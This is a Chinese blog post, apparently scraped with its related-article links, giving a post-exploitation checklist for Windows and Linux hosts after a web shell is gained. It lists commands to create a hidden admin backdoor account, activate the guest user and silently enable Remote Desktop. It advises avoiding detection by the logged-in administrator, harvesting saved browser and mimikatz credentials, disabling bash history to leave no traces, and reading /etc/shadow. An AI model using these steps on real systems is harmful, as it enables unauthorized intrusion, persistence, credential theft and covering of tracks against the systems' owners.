对于Windows系统主机和Linux系统主机,获取Shell后的操作都不同。

Windows

当我们通过对Web服务器进行渗透,拿到了该Web服务器的shell后,可以执行系统命令后,我们该如何操作呢?

第一步,先 whoami  查看用户身份,如果是系统用户那就再好不过了,如果是普通用户的话,就得想办法提权了。提权之后,利用mimikatz获取用户密码。如果是域环境的话,还可以获取登录过该主机的域用户密码。传送门——> 使用 mimikatz 破解windows登录密码

或者我们可以反弹一个MSF类型的shell到kali中,传送门——> 反弹MSF类型的Shell    ,  MSF之后渗透阶段

以下命令是在Windows主机渗透测试过程中可以用到的

#信息探测
ipconfig #查看ip等信息
systeminfo #查看系统信息
netstat -ano #查看端口开放信息
tasklist /svc #查看进程信息
net user #查看主机用户
net localgroup #查看主机组
net share #查看开放的共享
net view #查看内网主机信息 #添加用户后门
net user hack 123 /add #添加用户并设置密码
net localgroup administrators hack /add #将用户加入管理组
net user guest /active:yes #激活guest用户
net user guest mstlab #更改guest用户的密码

更多Windows CMD窗口的命令,传送门——> Windows常见的cmd命令

如果对方主机没开3389端口怎么办?以下命令可以开启远程桌面服务,前提是管理员权限。

1.通用开3389(优化后):
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
2.For Win2003:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.For Win2008:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
4.For Every:
win08,三条命令即可,win2012通用;win7前两条即可。权限需要administrator。
wmic /namespace:\root\cimv2 erminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
wmic /namespace:\root\cimv2 erminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

创建了后门用户,开启了远程桌面,我们就可以远程连接了。但是这里要注意,远程连接前判断该用户是否在线,万一对方管理员在线,你把人家给挤下去了,这样一下子就暴露了。开启远程桌面前慎重,慎重再慎重。

远程桌面登录后,我们查看桌面上有哪些软件,我们要找的目标有以下。

  • FTP相关的软件
  • 数据库相关的软件
  • 打开浏览器,查看历史记录,查看某些网站是否保存有用户密码。利用工具查看浏览器保存的密码

总结:获得了权限之后,尽一切可能搜集该主机的信息,该主机上各种服务的用户名和密码。为接下来的内网渗透弱口令爆破做准备。

Linux

在获得了Linux主机的权限后。第一步,我们要做的就是让我们接下来操作的所有命令不在主机上留下任何痕迹。我们可以执行下面的命令,这样我们接下来执行的所有命令都不会在 .bash_history中看到了。这条命令只对当前终端有效!

export HISTFILE=/dev/null export HISTSIZE=0

先查看当前用户身份,是否是root权限身份,如果不是的话,查看系统版本,是否可以利用已知漏洞提权的,比如 CVE-2016-5195 。Linux下用SUID提权

然后要做的自然就是维持权限了,传送门——> Linux获取权限

whoami       #查看当前用户身份
uname -a #查看系统信息
history #查看命令历史,有可能可以查看到管理员的一些重要命令,包括密码等
last #查看登录历史
cat /etc/passwd #查看用户
cat /etc/shadow #查看密码

未完待更新。。

相关文章:Linux 主机超全渗透测试命令汇总

获取Shell后的操作的更多相关文章

  1. weblogic从ssrf到redis获取shell

    一.环境搭建和知识储备 1.1.影响版本 漏洞编号:CVE-2014-4210 weblogic 10.0.2.0 weblogic 10.3.6.0 1.2.Docker搭建环境 1.进入vulhu ...

  2. Linux Shell数组常用操作详解

    Linux Shell数组常用操作详解 1数组定义: declare -a 数组名 数组名=(元素1 元素2 元素3 ) declare -a array array=( ) 数组用小括号括起,数组元 ...

  3. linux c程序中获取shell脚本输出的实现方法

    linux c程序中获取shell脚本输出的实现方法 1. 前言Unix界有一句名言:“一行shell脚本胜过万行C程序”,虽然这句话有些夸张,但不可否认的是,借助脚本确实能够极大的简化一些编程工作. ...

  4. php获取客户端浏览器以及操作系统信息的方法

    发布:sunday01   来源:net   阅读: 2   [大 中 小] 在较为智能的程序中,php可以获取客户端浏览器及操作系统信息,然后根据浏览器及系统类型,加载不同的页面,以提供更加个性化的 ...

  5. thinkPHP 空模块和空操作、前置操作和后置操作 详细介绍(十四)

    原文:thinkPHP 空模块和空操作.前置操作和后置操作 详细介绍(十四) 本章节:介绍 TP 空模块和空操作.前置操作和后置操作 详细介绍 一.空模块和空操作 1.空操作 function _em ...

  6. selenium获取元素后用click()点击没有作用,用Keys.ENTER就可以成功

    selenium获取元素后用click()点击没有作用,用键盘输入enter(Keys.ENTER)就可以成功 #coding = utf-8 from selenium import webdriv ...

  7. linux 安装源码后的操作 ldconfig

    https://blog.csdn.net/cqkxboy168/article/details/8657487 知识点: .如果使用 ldd 命令时没有找到对应的共享库文件和其具体位置,可能是两种情 ...

  8. 客户端的javascript改变了asp.net webform页面控件的值,后台代码中如何获取修改后的值。

    客户端的javascript改变了asp.net webform页面控件的值,后台代码中如何获取修改后的值.     无论是什么的html控件,只要加上了runat="server" ...

  9. 登陆获取shell时的配置文件加载过程

    最近遇到一台ubuntu服务器登陆时默认语言环境变量变成posix问题, 导致中文显示乱码,影响程序的正常运行 # locale LANG= LANGUAGE= LC_CTYPE="POSI ...

随机推荐

  1. Java的特性和优势以及不同版本的分类,jdk,jre,jvm的联系与区别,javadoc的生成

    Java 1.Java的特性和优势 Write Once,Run Anywhere 简单性 面向对象 可移植性 高性能 分布式 动态性 多线程 安全性 健壮性 2.Java的三大版本 JavaSE:标 ...

  2. 【odoo14】第十四章、CMS网站开发

    第十四章.CMS网站开发** Odoo有一个功能齐全的内容管理系统(CMS).通过拖放功能,你的最终用户可以在几分钟内设计一个页面,但是在Odoo CMS中开发一个新功能或构建块就不是那么简单了.在本 ...

  3. java面试记很多次还是记不住的问题

    1.java底层如何实现多态 https://blog.csdn.net/fan2012huan/article/details/51007517 (1)在常量池中找到方法调用的符号引用 (2)查看P ...

  4. PTA 统计二叉树叶子结点个数

    6-2 统计二叉树叶子结点个数 (10 分)   本题要求实现一个函数,可统计二叉树的叶子结点个数. 函数接口定义: int LeafCount ( BiTree T); T是二叉树树根指针,函数Le ...

  5. 6、MyBatis教程之日志实现

    7.日志实现 思考:我们在测试SQL的时候,要是能够在控制台输出 SQL 的话,是不是就能够有更快的排错效率? 如果一个 数据库相关的操作出现了问题,我们可以根据输出的SQL语句快速排查问题. 对于以 ...

  6. 【DB宝45】MySQL高可用之MGR+Consul架构部署

    目录 一.MGR+Consul架构简介 二.搭建MGR 2.1.申请3台MGR机器 2.2.3台主机安装MySQL环境 2.3.修改MySQL参数 2.4.重启MySQL环境 2.5.安装MGR插件( ...

  7. Java学习笔记--文件IO

    简介 对于任何程序设计语言,输入和输出(Input\Output)都是系统非常核心的功能,程序运行需要数据,而数据的获取往往需要跟外部系统进行通信,外部系统可能是文件.数据库.其他程序.网络.IO设备 ...

  8. python基础(十二):if分支表达式

    有时候,我们需要依照某种条件,再决定要不要做某个操作.在Python中,if语句能够帮助我们检查程序的当前状态,告诉计算机接下来该做什么. 条件表达式 每个if后面都跟着一个True或False的表达 ...

  9. python基础(四):切片和索引

    Python中的序列有元组.列表和字符串,因此我们都可以通过索引和切片的方式,来获取其中的元素. 索引 Python中的索引,对于正向索引,都是从0开始的.但是对于反向索引,确实从-1开始的.如图所示 ...

  10. Go语言操作数据库及其常规操作

    Go操作MySQL 安装: go get -u github.com/go-sql-driver/mysql GO语言的操作数据库的驱动原生支持连接池, 并且是并发安全的 标准库没有具体的实现 只是列 ...